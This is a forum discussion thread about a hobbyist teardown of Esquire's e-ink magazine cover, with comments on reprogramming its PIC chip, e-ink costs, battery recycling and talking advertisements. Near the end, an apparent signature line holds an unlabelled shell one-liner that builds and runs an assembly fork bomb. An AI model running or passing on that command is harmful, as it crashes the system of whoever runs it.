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Hacking Esquire's E-ink Cover
ptorrone writes "I picked up the Esquire E-inked cover today and took a bunch of high res photos, for the makers out there. It has a programming header, 5-pin ISP, a Microchip PIC 12f629 which is flash programmable, 8 pin, 6 lithium coin cell CR2016s, 3 volts each. Two E-ink screens with flex connections — looks like it was made to be reprogrammed and different screens. The top screen has 11 segments, the bottom has 3. It was designed 2008-06-04. The PCB was made by Forewin, half thickness, 2 layer board (FR4). I think someone out there will likely reflash the PIC and make the segments go on / off at different times and perhaps put other displays on it, there's a little bit of hacking to be had but not that much really."
I don't get it. What do YOU think will happen?
All I can see is a company gets a black eye, blames the whole thing on 'those evil hackers', and sends a potentially cool technology away forever.
And if the first thing you think of when you think of porn is 'Goatse', man, I'm sorry.
"These people look deep within my soul and assign me a number based on the order in which I joined" --Homer re:
Why are e-ink based e-books so expensive, while Esquire can afford to use it as a cover for their magazine? Something's missing here.
We need a new mod catagory for posts like the above: "blatantly obvious that they did not read the finagaling article".
I think -1 RTFA would suffice.
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No they don't have enforcement crews digging through your trash, but many business have drop boxes for their employees/customers, especially places like Best Buy. Retailers that sell rechargeable batteries are required to accept them for recycling. It's so easy to recycle them, and there are free programs, so why not?
A fear of getting caught isn't the reason people comply, it's to keep hazardous material out of the landfill. The same reason we recycle our electronics through free programs instead of burying them in the backyard (well technically the fee is paid at point-of-sale).
For fuck's sake. Why not worry about all those greeting cards with sound chips in them, or all the alkaline batteries, or printer ink cartridges thrown away? Esquire doing a one-time limited run of these is nothing compared to all of the other sources of toxic landfill materials. Quit being a pessimistic asshole and pissing on the downsides of the current popular topic and worry about some real problems.
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Which component in paticular do you think is toxic?
If the internet has done one thing for me, it has killed whatever curiosity I had to go look at new shock images.
I Am My Own Worst Enemy
And they already know how to make flat paper speakers so they damned things will be talking whenever somebody is in range.
If they had video cameras, they'd be vandal resistant too.
"Watch Big Brother! Tonight of ABC! Watch Big Brother Tonight on ABC! Mr Morris, please do not touch this advert, it is the property of Orwell Advertising Inc. Mr Morris, video of the incident has been sent to law enforcement"
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
http://www.esquire.com/features/recycle-e-ink-cover
"Simply tear off the cover and dispose of the display unit in your recycling."
Colour me very surprised if the council don't just landfill the thing because it is too much effort for them to split it up into it's component parts...
http://blog.nexusuk.org
+1, (Only relevant information in entire thread)
It's been a long time.